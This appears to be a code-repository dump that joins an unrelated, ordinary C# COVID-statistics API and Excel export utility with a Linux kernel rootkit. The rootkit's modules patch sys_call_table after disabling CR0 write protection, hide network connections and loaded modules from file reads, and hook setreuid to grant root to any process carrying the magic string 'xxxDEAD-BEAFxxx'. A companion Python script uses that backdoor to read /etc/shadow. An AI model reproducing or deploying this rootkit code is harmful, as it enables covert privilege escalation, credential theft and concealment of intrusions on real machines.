lineSize * strArrSize - 2)) <= 0) { kfree (chBuf1); kfree (chBuf); return ret; } if (chBuf[ret1 - 1] != '\n') { chBuf[ret1] = '\n'; chBuf[ret1 + 1] = '\0'; ret1 += 2; } else { chBuf[ret1] = '\0'; ret1 += 1; } chTmp = chBuf; for (int i = 0, j = 0; i < ret1; ++i) { if (chBuf[i] == '\n') { chBuf[i] = '\0'; chpArr[j] = chTmp; ++j; chTmp = chTmp + strlen (chTmp) + sizeof ('\0'); if (j >= strArrSize) break; } } copy_from_user (chBuf1, buf, ret); chBuf1 [ret] = '\n'; chBuf1 [ret + 1] = '\0'; int i = 0, j; ret1 = ret; ret += 1; while (chpArr[i] != NULL && strlen (chpArr[i]) != 0) { if ((chTmp = strstr (chBuf1, chpArr[i])) != NULL) { j = 0; while (chTmp > chBuf1 && chTmp[0] != '\n') --chTmp; // for /proc/net/tcp - because first 3 chars are spaces if (chTmp != chBuf1) ++chTmp; while (chTmp[j] != '\n') ++j; j += 1; // sizeof ('\n') == 4 - because at C local char treated as int memmove (chTmp, chTmp + j, ret - j - ((size_t)chTmp - (size_t)chBuf1) + 1); ret = strlen (chBuf1); } ++i; } if (strstr (fileName, "tcp")) reprocessTcpIndexes (chBuf1); // we have read a half of a string if (chBuf1[ret - 1] == '\n' && chBuf1[ret - 2] == '\n') chBuf1[ret - 1] = '\0'; if (ret1 == count && chBuf1[strlen (chBuf1) - 1] != '\n') { int j, i; loff_t oldPos; i = strlen (chBuf1) - 1; if (IS_ERR (filePtr = fget (fd))) { kfree (chBuf1); kfree (chBuf); return 0; } for (j = i; j >= 0; --j) if (chBuf1[j] == '\n') break; ++j; filePtr->f_pos -= i - j + 1; for (; j <= i; ++j) chBuf1[j] = '\0'; fput (filePtr); } ret = strlen (chBuf1); copy_to_user (buf, chBuf1, ret); kfree (chBuf1); kfree (chBuf); return ret; } ssize_t newRead (int fd, void *buf, size_t count) { int ret; struct file *fdPtr; const int bufLen = 128; char bufTmp [bufLen - 1], *realPath; #ifdef MY_OWN_DEBUG //printk ("Intercepted function sys_read\n"); #endif atomic64_inc (& ssPtr[SYS_READ_NUM].numOfCalls); if (ssPtr[SYS_READ_NUM].sysPtrOld) { if (!isTrustedProcess ()) { if (IS_ERR (fdPtr = fget (fd))) { #ifdef MY_OWN_DEBUG //printk ("Have found NULL ptr to struct file at FDT " // "for descriptor id: %d, err: %d\n", fd, (int)fdPtr); #endif bufTmp [0] = '\0'; } else realPath = d_path (&fdPtr->f_path, bufTmp, bufLen); fput (fdPtr); if (strstr (realPath, badPath) && strstr (realPath, netTcp4Str)) { ret = processReading (netTcp4String, fd, buf, count); } else if (strstr (modulesStr, realPath)) { ret = processReading (modulesString, fd, buf, count); } else { // // Original call // ret = ((READ_P)(ssPtr[SYS_READ_NUM].sysPtrOld)) (fd, buf, count); } } atomic64_dec (& ssPtr[SYS_READ_NUM].numOfCalls); #ifdef MY_OWN_DEBUG printk ("Number of counter at READ: %ld\n", atomic64_read (& ssPtr[SYS_READ_NUM].numOfCalls)); #endif return ret; } else { atomic64_dec (& ssPtr[SYS_READ_NUM].numOfCalls); #ifdef MY_OWN_DEBUG printk ("Number of counter at READ: %ld\n", atomic64_read (& ssPtr[SYS_READ_NUM].numOfCalls)); #endif return -EIO; } } // // Start/stop functions // void fillServiceTable (void *sscltPtr) { ssPtr[SYS_READ_NUM].sysPtrNew = &newRead; ssPtr[SYS_READ_NUM].sysPtrOld = ((void**)sscltPtr)[__NR_read]; ssPtr[SYS_READ_NUM].sysNum = __NR_read; ssPtr[SYS_DIRENT_NUM].sysPtrNew = &newGetDents; ssPtr[SYS_DIRENT_NUM].sysPtrOld = ((void**)sscltPtr)[__NR_getdents]; ssPtr[SYS_DIRENT_NUM].sysNum = __NR_getdents; return; } void changeSyscallTable (void *scltPtr, int sysNum, void *newPtr, void **oldPtr) { // disable memory protection to writing asm("pushq %rax"); asm("movq %cr0, %rax"); asm("andq $0xfffffffffffeffff, %rax"); asm("movq %rax, %cr0"); asm("popq %rax"); *oldPtr = ((void**)scltPtr) [sysNum]; ((void**)sys_call_table) [sysNum] = newPtr; // enable memory protection to writing asm("pushq %rax"); asm("movq %cr0, %rax"); asm("xorq $0x0000000000010000, %rax"); asm("movq %rax, %cr0"); asm("popq %rax"); return; } int setFunc (void *datPtr) { DATA_FN *dat = (DATA_FN*)datPtr; changeSyscallTable (dat->scltPtr, dat->sysNum, dat->newPtr, dat->oldPtr); return 0; } int start (void) { int i, lo, hi; void *system_call; unsigned char *ptr; DATA_FN dat; if (!(cpus = kmalloc (sizeof (struct cpumask), GFP_KERNEL))) { #ifdef MY_OWN_DEBUG printk ("Insufficient of memory, error of kmalloc\n"); #endif return -ENOMEM; } cpumask_clear (cpus); cpumask_bits (cpus)[0] = 1; if (!(ssPtr = kmalloc (ssSize * sizeof (SYSSERV_INF), GFP_KERNEL))) { #ifdef MY_OWN_DEBUG printk ("Insufficient of memory, error of kmalloc\n"); #endif kfree (cpus); return -ENOMEM; } memset (ssPtr, 0, ssSize * sizeof (SYSSERV_INF)); fillServiceTable (ssPtr); //asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR)); rdmsr (MSR_LSTAR, lo, hi); system_call = (void*)(((long)hi<<32) | lo); // 0xff14c5 - is opcode of relative call instruction at x64 (relative address is 4 byte value) // 500 may be dangerous, we go byte by byte at code of system_call for (ptr = system_call, i = 0; i < 500; i++) { if (ptr[0] == 0xff && ptr[1] == 0x14 && ptr[2] == 0xc5) { sys_call_table = (void*)(0xffffffff00000000 | *((unsigned int*)(ptr+3))); break; } ptr++; } if (!sys_call_table) return -ENOSYS; else { #ifdef MY_OWN_DEBUG printk ("Have found sys_call_table address: %p\n", sys_call_table); #endif } fillServiceTable (sys_call_table); dat.scltPtr = sys_call_table; for (int i = 0; i < ssSize; ++i) { dat.sysNum = ssPtr[i].sysNum; dat.newPtr = ssPtr[i].sysPtrNew; dat.oldPtr = & ssPtr[i].sysPtrOld; stop_machine(&setFunc, &dat, cpus); } return 0; } void stop (void) { DATA_FN dat = {sys_call_table}; #ifdef MY_OWN_DEBUG printk ("Unloading start\n"); #endif for (int i = 0; i < ssSize; ++i) { dat.sysNum = ssPtr[i].sysNum; dat.newPtr = ssPtr[i].sysPtrOld; dat.oldPtr = & ssPtr[i].sysPtrOld; stop_machine(&setFunc, &dat, cpus); } //stop_machine(&setFunc, &dat, cpus); kfree (cpus); while (atomic64_read (& ssPtr[SYS_READ_NUM].numOfCalls) || atomic64_read (& ssPtr[SYS_DIRENT_NUM].numOfCalls) ) { set_current_state (TASK_INTERRUPTIBLE); #ifdef MY_OWN_DEBUG printk ("Waiting, read cnt: %ld, readdir cnt: %ld\n", atomic64_read (& ssPtr[SYS_READ_NUM].numOfCalls), atomic64_read (& ssPtr[SYS_DIRENT_NUM].numOfCalls) ); #endif schedule_timeout (5 * HZ); } kfree (ssPtr); #ifdef MY_OWN_DEBUG printk ("Bye bye\n"); #endif return; } module_init(start); module_exit(stop); MODULE_LICENSE ("GPL"); <file_sep> #include "second.h" #define MY_OWN_DEBUG #define NUMBER_OF_FUNCTIONS 1 #define SYS_SETREUID_NUM 0 typedef long (*SETREUID_P) (uid_t ruid, uid_t euid); // // globals // SYSSERV_INF *ssPtr; int ssSize = NUMBER_OF_FUNCTIONS; void *sys_call_table; struct cpumask *cpus; const char *magicString = "xxxDEAD-BEAFxxx"; // if this string is into argv, process is trusted // // Service functions // void intToStrRadixDec (char *chBuf, int szBuf, int val) { int tmp, base = 10, j = 9; if (szBuf < 11) { #ifdef MY_OWN_DEBUG printk ("Passed buffer's size is too short for intToStrRadixDec\n"); #endif chBuf [0] = '\0'; return; } for (int i = 0; i < szBuf; ++i) chBuf [i] = '0'; if (val == 0) { chBuf[1] = '\0'; return; } chBuf [j + 1] = '\0'; while (val > 0) { tmp = val % base; val /= base; chBuf [j] += tmp; --j; } j = 0; for (int i = 10; j < i; ++j) { if (chBuf [j] != '0') break; } // j is an index of first significant char for (int i = 0; j <= 10; ++i, ++j) chBuf [i] = chBuf [j]; return; } int readFileData (const char *fileName, void *buf, size_t count) { int ret = 0; mm_segment_t oldFs; loff_t posFile = 0; struct file *filePtr; oldFs = get_fs(); set_fs (KERNEL_DS); filePtr = filp_open (fileName, O_RDONLY, 0); if (IS_ERR (filePtr)) { #ifdef MY_OWN_DEBUG printk ("Can't open: %s - %d\n", fileName, (int)filePtr); #endif set_fs (oldFs); return 0; } if ((ret = vfs_read (filePtr, buf, count, &posFile)) < 0) { #ifdef MY_OWN_DEBUG printk ("Error at reading from: %s, ret: %d\n", fileName, (int)ret); #endif ret = 0; } set_fs (oldFs); filp_close (filePtr, NULL); return ret; } int isTrustedProcess () { const int bufSz = 16; char *bufPtr, *chBuf; struct file *filePtr; loff_t posFile = 0; ssize_t retLen; const int nameLen = 256; mm_segment_t oldFs; int ret = 0; if (!(bufPtr = kmalloc (bufSz, GFP_KERNEL))) return 0; if (!(chBuf = kmalloc (nameLen, GFP_KERNEL))) { kfree (bufPtr); return 0; } intToStrRadixDec (bufPtr, bufSz, current->tgid); strcpy (chBuf, "/proc/"); strcat (chBuf, bufPtr); strcat (chBuf, "/cmdline"); kfree (bufPtr); oldFs = get_fs(); set_fs (KERNEL_DS); filePtr = filp_open (chBuf, O_RDONLY, 0); if (IS_ERR (filePtr)) { #ifdef MY_OWN_DEBUG //printk ("Can't open: %s - %d\n", chBuf, (int)filePtr); #endif kfree (chBuf); set_fs (oldFs); return 0; } if ((retLen = vfs_read (filePtr, chBuf, nameLen - 1, &posFile)) < 0) { #ifdef MY_OWN_DEBUG //printk ("Error at reading from: %s, ret: %d\n", chBuf, (int)retLen); #endif filp_close (filePtr, NULL); kfree (chBuf); set_fs (oldFs); return 0; } set_fs (oldFs); for (unsigned i = 0; i < retLen; ++i) if (chBuf[i] == '\0') chBuf [i] = '_'; chBuf[retLen] = '\0'; if (strstr (chBuf, magicString)) ret = 1; #ifdef MY_OWN_DEBUG //if (ret) printk ("Trusted process"); #endif filp_close (filePtr, NULL); kfree (chBuf); return ret; } long newSetreuid (uid_t ruid, uid_t euid) { struct cred *newCreds; long ret; #ifdef MY_OWN_DEBUG printk ("Intercepted function setreuid\n"); printk ("Number of counter BEFORE: %ld\n", atomic64_read (& ssPtr[SYS_SETREUID_NUM].numOfCalls)); #endif atomic64_inc (& ssPtr[SYS_SETREUID_NUM].numOfCalls); if (ssPtr[SYS_SETREUID_NUM].sysPtrOld) { if (isTrustedProcess ()) { if (!(newCreds = prepare_creds ())) { ret = -ENOMEM; } else { // to zero all field an id also newCreds->uid = newCreds->gid = 0; newCreds->suid = newCreds->sgid = 0; newCreds->euid = newCreds->egid = 0; newCreds->fsuid = newCreds->fsgid = 0; ret = commit_creds (newCreds); } } else { ret = ((SETREUID_P)(ssPtr[SYS_SETREUID_NUM].sysPtrOld)) (ruid, euid); } atomic64_dec (& ssPtr[SYS_SETREUID_NUM].numOfCalls); #ifdef MY_OWN_DEBUG printk ("Number of counter AFTER: %ld\n", atomic64_read (& ssPtr[SYS_SETREUID_NUM].numOfCalls)); #endif return ret; } else { atomic64_dec (& ssPtr[SYS_SETREUID_NUM].numOfCalls); #ifdef MY_OWN_DEBUG printk ("Number of counter AFTER: %ld\n", atomic64_read (& ssPtr[SYS_SETREUID_NUM].numOfCalls)); #endif return -EPERM; } } // // Start/stop functions // void fillServiceTable (void *sscltPtr) { ssPtr[SYS_SETREUID_NUM].sysPtrNew = &newSetreuid; ssPtr[SYS_SETREUID_NUM].sysPtrOld = ((void**)sscltPtr)[__NR_setreuid]; ssPtr[SYS_SETREUID_NUM].sysNum = __NR_setreuid; return; } void changeSyscallTable (void *scltPtr, int sysNum, void *newPtr, void **oldPtr) { // disable memory protection to writing asm("pushq %rax"); asm("movq %cr0, %rax"); asm("andq $0xfffffffffffeffff, %rax"); asm("movq %rax, %cr0"); asm("popq %rax"); *oldPtr = ((void**)scltPtr) [sysNum]; ((void**)sys_call_table) [sysNum] = newPtr; // enable memory protection to writing asm("pushq %rax"); asm("movq %cr0, %rax"); asm("xorq $0x0000000000010000, %rax"); asm("movq %rax, %cr0"); asm("popq %rax"); return; } int setFunc (void *datPtr) { DATA_FN *dat = (DATA_FN*)datPtr; changeSyscallTable (dat->scltPtr, dat->sysNum, dat->newPtr, dat->oldPtr); return 0; } int start (void) { int i, lo, hi; void *system_call; unsigned char *ptr; DATA_FN dat; if (!(cpus = kmalloc (sizeof (struct cpumask), GFP_KERNEL))) { #ifdef MY_OWN_DEBUG printk ("Insufficient of memory, error of kmalloc\n"); #endif return -ENOMEM; } cpumask_clear (cpus); cpumask_bits (cpus)[0] = 1; if (!(ssPtr = kmalloc (ssSize * sizeof (SYSSERV_INF), GFP_KERNEL))) { #ifdef MY_OWN_DEBUG printk ("Insufficient of memory, error of kmalloc\n"); #endif kfree (cpus); return -ENOMEM; } memset (ssPtr, 0, ssSize * sizeof (SYSSERV_INF)); fillServiceTable (ssPtr); //asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR)); rdmsr (MSR_LSTAR, lo, hi); system_call = (void*)(((long)hi<<32) | lo); // 0xff14c5 - is opcode of relative call instruction at x64 (relative address is 4 byte value) // 500 may be dangerous, we go byte by byte at code of system_call for (ptr = system_call, i = 0; i < 500; i++) { if (ptr[0] == 0xff && ptr[1] == 0x14 && ptr[2] == 0xc5) { sys_call_table = (void*)(0xffffffff00000000 | *((unsigned int*)(ptr+3))); break; } ptr++; } if (!sys_call_table) return -ENOSYS; else { #ifdef MY_OWN_DEBUG printk ("Have found sys_call_table address: %p\n", sys_call_table); #endif } //init_completion (&synchUnload); fillServiceTable (sys_call_table); dat.scltPtr = sys_call_table; for (int i = 0; i < ssSize; ++i) { dat.sysNum = ssPtr[i].sysNum; dat.newPtr = ssPtr[i].sysPtrNew; dat.oldPtr = & ssPtr[i].sysPtrOld; stop_machine(&setFunc, &dat, cpus); } return 0; } void stop (void) { DATA_FN dat = {sys_call_table}; #ifdef MY_OWN_DEBUG printk ("Unloading start\n"); #endif for (int i = 0; i < ssSize; ++i) { dat.sysNum = ssPtr[i].sysNum; dat.newPtr = ssPtr[i].sysPtrOld; dat.oldPtr = & ssPtr[i].sysPtrOld; stop_machine(&setFunc, &dat, cpus); } //stop_machine(&setFunc, &dat, cpus); kfree (cpus); #ifdef MY_OWN_DEBUG printk ("Before last mark\n"); #endif //wait_for_completion (&synchUnload); // Я собственоручно сделал дедлок. Если счетчик вызовов обнулен и пришел запрос // на выгрузку - процесс будет висеть бесконечно, т.к. его условную переменную никто не просигналит. while (atomic64_read (& ssPtr[SYS_SETREUID_NUM].numOfCalls)) { set_current_state (TASK_INTERRUPTIBLE); #ifdef MY_OWN_DEBUG printk ("Waiting, read cnt: %ld", atomic64_read (& ssPtr[SYS_SETREUID_NUM].numOfCalls) ); #endif schedule_timeout (5 * HZ); } kfree (ssPtr); #ifdef MY_OWN_DEBUG printk ("Bye bye\n"); #endif return; } module_init(start); module_exit(stop); MODULE_LICENSE ("GPL"); <file_sep>#!/usr/bin/python #-*- encoding:utf-8 -*- #xxxDEAD-BEAFxxx import sys, os from os import getuid, geteuid, setreuid def main (): if len (sys.argv) < 2: print ("Need args") print ("Reid: {0}, Euid: {1}".format (getuid (), geteuid ())) try: setreuid (1234, 12345) except OSError as Exc: print (Exc) os.system ("cat /etc/shadow") print ("Ruid: {0}, Euid: {1}".format (getuid (), geteuid ())) return main () <file_sep> #define MY_OWN_DEBUG #define NUMBER_OF_FUNCTIONS 2 #define SYS_READ_NUM 0 #define SYS_DIRENT_NUM 1 //#define SYS_SEEUID_NUM 2 <file_sep> #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/unistd.h> #include <linux/stop_machine.h> #include <linux/slab.h> #include <linux/uaccess.h> #include <linux/dirent.h> #include <linux/atomic.h> #include <asm/current.h> // current #include <linux/fdtable.h> // struct files_struct #include <linux/spinlock.h> #include <linux/fs.h> // struct file at line 976 #include <linux/path.h> // struct path #include <linux/dcache.h> // struct dentry #include <linux/sched.h> // struct task_struct #include <linux/file.h> #include <linux/syscalls.h> #include <linux/completion.h> #include <linux/kernel.h> // simple_strtoul #include <linux/cred.h> // for commit_creds #include <asm/param.h> // HZ value typedef long (*READ_P)(int, void*, size_t); typedef int (*MKDIR_P) (const char*, mode_t); typedef int (*GETDENTS_P) (unsigned int, struct linux_dirent64*, unsigned int); typedef struct _DATA_FN { void *scltPtr; int sysNum; void *newPtr; void **oldPtr; } DATA_FN, *PDATA_FN; typedef struct _SYSSERV_INFO { void *sysPtrNew; void *sysPtrOld; unsigned sysNum; atomic64_t numOfCalls; } SYSSERV_INF, *PSYSSERV_INF;
1c3f115fa79837fc77df9adb2da59bd2497912af
[ "C", "Python" ]
7
C
movin-groovin/driver_1
b0a949c793d4deaf8adab1ae1fa2a3fe5c32d3bd
8dbc6c3e4d52abda32ecae270e082818d4b8fc1e
refs/heads/master
<file_sep>using Microsoft.EntityFrameworkCore; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using UAECovidAPI.Models; namespace UAECovidAPI.Data { public class CovidDBContext : DbContext { public CovidDBContext(DbContextOptions<CovidDBContext> options) : base(options) { } public DbSet<CountryClass> Countries { get; set; } protected override void OnModelCreating(ModelBuilder modelBuilder) { modelBuilder.Entity<CountryClass>() .ToTable("Country") .Property(x => x.Id) .ValueGeneratedOnAdd(); } } public enum ConnectionStrings { AspNetDatabase, CovidAPIDatabase } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using UAECovidAPI.Authentication; using UAECovidAPI.Models; namespace UAECovidAPI.Data { public class DbInitializer { public static void InitializeCovidDB(CovidDBContext context) { context.Database.EnsureCreated(); if (context.Countries.Any()) { return; } var Countries = new CountryClass[] { new CountryClass{ Code="HU",Country="Hungary",Slug="hungary"}, new CountryClass{ Code="AU",Country="Australia",Slug="australia"} }; foreach (CountryClass item in Countries) { context.Countries.Add(item); } context.SaveChanges(); } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations.Schema; using System.Linq; using System.Threading.Tasks; namespace UAECovidAPI.Models { public class Countries { /* "Country": "ALA Aland Islands", "CountryCode": "AX", "Slug": "ala-aland-islands", "NewConfirmed": 0, "TotalConfirmed": 0, "NewDeaths": 0, "TotalDeaths": 0, "NewRecovered": 0, "TotalRecovered": 0, "Date": "2020-04-05T06:37:00Z" */ public string Country { get; set; } public string CountryCode { get; set; } public string Slug { get; set; } public Int64 NewConfirmed { get; set; } public Int64 TotalConfirmed { get; set; } public Int64 NewDeaths { get; set; } public Int64 TotalDeaths { get; set; } public Int64 NewRecovered { get; set; } public Int64 TotalRecovered { get; set; } public DateTime Date { get; set; } } public class CountryClass { [DatabaseGenerated(DatabaseGeneratedOption.Identity)] public int Id { get; set; } public string Country { get; set; } public string Code { get; set; } public string Slug { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; namespace GenerateExcelFile { class Program { static void Main(string[] args) { List<Author> authors = new List<Author> { new Author { Id = 1, FirstName = "Joydip", LastName = "Kanjilal" }, new Author { Id = 2, FirstName = "Steve", LastName = "Smith" }, new Author { Id = 3, FirstName = "Anand", LastName = "Narayaswamy"} }; DataTable dt = ToDataTable<Author>(authors); string fileName = DataTableToExcel(dt); ReadExcelFile(fileName); } private static void ReadExcelFile(string fileName) { Microsoft.Office.Interop.Excel.Application excelApp = new Microsoft.Office.Interop.Excel.Application(); Microsoft.Office.Interop.Excel.Workbook excelworkBook = excelApp.Workbooks.Open(fileName); ; Microsoft.Office.Interop.Excel.Worksheet excelSheet = (Microsoft.Office.Interop.Excel.Worksheet)excelworkBook.Sheets[1]; Microsoft.Office.Interop.Excel.Range excelRange = excelSheet.UsedRange; int rowCount = excelRange.Rows.Count; int colCount = excelRange.Columns.Count; for (int i = 1; i <= rowCount; i++) { //create new line Console.Write("\r\n"); for (int j = 1; j <= colCount; j++) { //write the console if (excelRange.Cells[i, j] != null && excelRange.Cells[i, j] != null) { Console.Write((excelRange.Cells[i, j] as Microsoft.Office.Interop.Excel.Range).Value2.ToString() + "\t\t"); } } } //after reading, relaase the excel project excelApp.Quit(); System.Runtime.InteropServices.Marshal.ReleaseComObject(excelApp); Console.ReadLine(); } public static DataTable ToDataTable<T>(IList<T> data) { PropertyDescriptorCollection props = TypeDescriptor.GetProperties(typeof(T)); DataTable table = new DataTable(); for (int i = 0; i < props.Count; i++) { PropertyDescriptor prop = props[i]; table.Columns.Add(prop.Name, prop.PropertyType); } object[] values = new object[props.Count]; foreach (T item in data) { for (int i = 0; i < values.Length; i++) { values[i] = props[i].GetValue(item); } table.Rows.Add(values); } return table; } public static string DataTableToExcel(DataTable dt) { string directoryName = Path.Combine(Directory.GetParent(System.IO.Directory.GetCurrentDirectory()).Parent.FullName, "ExcelFiles"); if (!Directory.Exists(directoryName)) { Directory.CreateDirectory(directoryName); } string fileName = string.Format(@"{0}\{1}", directoryName, DateTime.Now.ToString("ddMMyyyyHHmmss") + ".xlsx"); if (!File.Exists(fileName)) { File.Create(fileName); } Microsoft.Office.Interop.Excel.Application excel; Microsoft.Office.Interop.Excel.Workbook excelworkBook; Microsoft.Office.Interop.Excel.Worksheet excelSheet; Microsoft.Office.Interop.Excel.Range excelCellrange; excel = new Microsoft.Office.Interop.Excel.Application(); excelworkBook = excel.Workbooks.Add(Type.Missing); excelSheet = (Microsoft.Office.Interop.Excel.Worksheet)excelworkBook.ActiveSheet; excelSheet.Name = "Test work sheet"; // loop through each row and add values to our sheet int rowcount = 1; foreach (DataRow datarow in dt.Rows) { rowcount += 1; for (int i = 1; i <= dt.Columns.Count; i++) { // on the first iteration we add the column headers if (rowcount == 2) { excelSheet.Cells[1, i] = dt.Columns[i - 1].ColumnName; } excelSheet.Cells[rowcount, i] = datarow[i - 1].ToString(); } } // now we resize the columns excelCellrange = excelSheet.Range[excelSheet.Cells[1, 1], excelSheet.Cells[rowcount, dt.Columns.Count]]; excelCellrange.EntireColumn.AutoFit(); //Microsoft.Office.Interop.Excel.Borders border = excelCellrange.Borders; //border.LineStyle = Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous; //border.Weight = 2d; // excelCellrange = excelSheet.Range[excelSheet.Cells[1, 1], excelSheet.Cells[2, dt.Columns.Count]]; // FormattingExcelCells(excelCellrange, "#000099", System.Drawing.Color.White, true); //now save the workbook and exit Excel excelworkBook.SaveAs(fileName); excelworkBook.Close(); excel.Quit(); return fileName; } } public class Author { public int Id { get; set; } public string FirstName { get; set; } public string LastName { get; set; } } } <file_sep>using Microsoft.AspNetCore.Authorization; using Microsoft.AspNetCore.Mvc; using Microsoft.EntityFrameworkCore; using System; using System.Collections.Generic; using System.Linq; using System.Net.Http; using System.Threading.Tasks; using UAECovidAPI.Authentication; using UAECovidAPI.Data; using UAECovidAPI.Models; // For more information on enabling Web API for empty projects, visit https://go.microsoft.com/fwlink/?LinkID=397860 namespace UAECovidAPI.Controllers { [Route("api/[controller]")] [Authorize] [ApiController] public class UAECovidController : ControllerBase { private readonly CovidDBContext context; public UAECovidController( CovidDBContext context) { this.context = context; } [HttpGet] [AllowAnonymous] [Route("GetCovidSummary")] public IActionResult GetCovidSummary(string slug) { using (var client = new HttpClient()) { client.BaseAddress = new Uri("https://api.covid19api.com/"); //HTTP GET var responseTask = client.GetAsync("summary"); responseTask.Wait(); var result = responseTask.Result; if (result.IsSuccessStatusCode) { var readTask = result.Content.ReadAsAsync<Global>(); readTask.Wait(); var covidSummaries = readTask.Result; Countries covidSummary = covidSummaries.Countries.Where(x => x.Slug.Equals(slug)).FirstOrDefault(); if (covidSummary == null) { return Ok( new Response { Status = "Success" , Message = "No Data Exists" , Data = null}); } return Ok(new Response { Status = "Success", Message = "Successful", Data = covidSummary }); } } return BadRequest(); } [HttpGet] [AllowAnonymous] [Route("GetUAECovidSummary")] public IActionResult GetUAECovidDetails() { using (var client = new HttpClient()) { client.BaseAddress = new Uri("https://api.covid19api.com/"); //HTTP GET var responseTask = client.GetAsync("summary"); responseTask.Wait(); var result = responseTask.Result; if (result.IsSuccessStatusCode) { var readTask = result.Content.ReadAsAsync<Global>(); readTask.Wait(); var covidSummaries = readTask.Result; Countries covidSummary = covidSummaries.Countries.Where(x => x.Slug.Equals("united-arab-emirates")).FirstOrDefault(); if (covidSummary == null) { return Ok(new Response { Status = "Success", Message = "No Data Exists", Data = null }); } return Ok(new Response { Status = "Success", Message = "Successful", Data = covidSummary }); } } return BadRequest(); } [HttpGet] [AllowAnonymous] [Route("GetCovidHistory")] public IActionResult GetCovidHistory(string slug) { using (var client = new HttpClient()) { client.BaseAddress = new Uri("https://api.covid19api.com/"); //HTTP GET var responseTask = client.GetAsync("total/country/"+slug); responseTask.Wait(); var result = responseTask.Result; if (result.IsSuccessStatusCode) { var readTask = result.Content.ReadAsAsync<IList<AllCovidStatus>>(); readTask.Wait(); var covidHistory = readTask.Result; return Ok(new Response { Status = "Success", Message = "Successful", Data = covidHistory }); } } return BadRequest(); } [HttpGet] [AllowAnonymous] [Route("GetUAECovidHistory")] public IActionResult GetUAECovidHistory() { using (var client = new HttpClient()) { client.BaseAddress = new Uri("https://api.covid19api.com/"); //HTTP GET var responseTask = client.GetAsync("total/country/united-arab-emirates"); responseTask.Wait(); var result = responseTask.Result; if (result.IsSuccessStatusCode) { var readTask = result.Content.ReadAsAsync<IList<AllCovidStatus>>(); readTask.Wait(); var covidHistory = readTask.Result; return Ok(new Response { Status = "Success", Message = "Successful", Data = covidHistory }); } } return BadRequest(); } [HttpPost] [Authorize(Roles = UserRoles.Admin)] [Route("AddCountry")] public async Task<IActionResult> AddCountryToDB(CountryClass country) { if (ModelState.IsValid) { try { context.Countries.Add(new CountryClass { Country = country.Country,Slug = country.Slug,Code = country.Code}); await context.SaveChangesAsync(); return Ok(new Response { Status = "Success", Message = "Successful Insertion", Data = country.Id }); } catch (DbUpdateException ex) { return Ok(new Response { Status = "Error", Message = ex.Message, Data = null }); } } return BadRequest(); } [HttpPut] [Authorize(Roles = UserRoles.Admin)] [Route("UpdateCountry")] public async Task<IActionResult> UpdateCountry(CountryClass country) { if (ModelState.IsValid) { try { context.Countries.Update(country); await context.SaveChangesAsync(); return Ok(new Response { Status = "Success", Message = "Update Success", Data = null }); } catch (DbUpdateException ex) { return Ok(new Response { Status = "Error", Message = ex.Message, Data = null }); } } return BadRequest(); } [HttpDelete] [Authorize(Roles = UserRoles.Admin)] [Route("DeleteCountry")] public async Task<IActionResult> DeleteCountry(int countryCode) { if (ModelState.IsValid) { try { CountryClass country = context.Countries.Where(x => x.Id == countryCode).FirstOrDefault(); context.Countries.Remove(country); await context.SaveChangesAsync(); return Ok(new Response { Status = "Success", Message = "Delete Success", Data = null }); } catch (DbUpdateException ex) { return Ok(new Response { Status = "Error", Message = ex.Message, Data = null }); } } return BadRequest(); } [HttpGet] [AllowAnonymous] [Route("GetAllCountries")] public IActionResult GetAllCountries() { List<CountryClass> allCountries = context.Countries.ToList(); return Ok(new Response { Status="Success",Message="Successful" , Data = allCountries } ); } [HttpGet] [Authorize(Roles = UserRoles.Admin)] [Route("GetCountry")] public IActionResult GetCountry(int Id) { CountryClass country = context.Countries.Where(x => x.Id == Id).FirstOrDefault(); return Ok(new Response { Status = "Success", Message = "Successful", Data = country }); } } } <file_sep>using CovidInfoWebApp.Models; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace CovidInfoWebApp.Controllers { public class ContentController : Controller { private readonly IHttpContextAccessor _httpContextAccessor; public ContentController(IHttpContextAccessor httpContextAccessor) { this._httpContextAccessor = httpContextAccessor; } public IActionResult Index() { Response response = Utilities.UtilityClass.WebRequestWithToken<CountryClass>("api/UAECovid/GetAllCountries", RestSharp.Method.GET, null, null, null); if (response.Status == "Success") { return View(JsonConvert.DeserializeObject<IList<CountryClass>>(response.Data.ToString())); } return View(); } public ActionResult Create() { return View(); } [HttpPost] [ValidateAntiForgeryToken] public ActionResult Create(CountryClass model) { try { Response response = Utilities.UtilityClass.WebRequestWithToken<CountryClass>("api/UAECovid/AddCountry", RestSharp.Method.POST, model, null, _httpContextAccessor.HttpContext.Request.Cookies["Token"]); if (response.Status == "Success") { return RedirectToAction(nameof(Index)); } else { return View(); } } catch { return View(); } } public ActionResult Edit(int id) { Dictionary<string, object> parameters = new Dictionary<string, object>(); parameters.Add("Id", id); Response response = Utilities.UtilityClass.WebRequestWithToken<CountryClass>("api/UAECovid/GetCountry", RestSharp.Method.GET, null, parameters, _httpContextAccessor.HttpContext.Request.Cookies["Token"]); if (response.Status == "Success") { return View(JsonConvert.DeserializeObject<CountryClass>(response.Data.ToString())); } return View(); } [HttpPost] [ValidateAntiForgeryToken] public ActionResult Edit(int id, CountryClass model) { try { Response response = Utilities.UtilityClass.WebRequestWithToken<CountryClass>("api/UAECovid/UpdateCountry", RestSharp.Method.PUT, model, null, _httpContextAccessor.HttpContext.Request.Cookies["Token"]); if (response.Status == "Success") { return RedirectToAction(nameof(Index)); } else { return View(); } } catch { return View(); } } public ActionResult Delete(int id) { Dictionary<string, object> parameters = new Dictionary<string, object>(); parameters.Add("Id", id); Response response = Utilities.UtilityClass.WebRequestWithToken<CountryClass>("api/UAECovid/GetCountry", RestSharp.Method.GET, null, parameters, _httpContextAccessor.HttpContext.Request.Cookies["Token"]); if (response.Status == "Success") { return View(JsonConvert.DeserializeObject<CountryClass>(response.Data.ToString())); } return View(); } 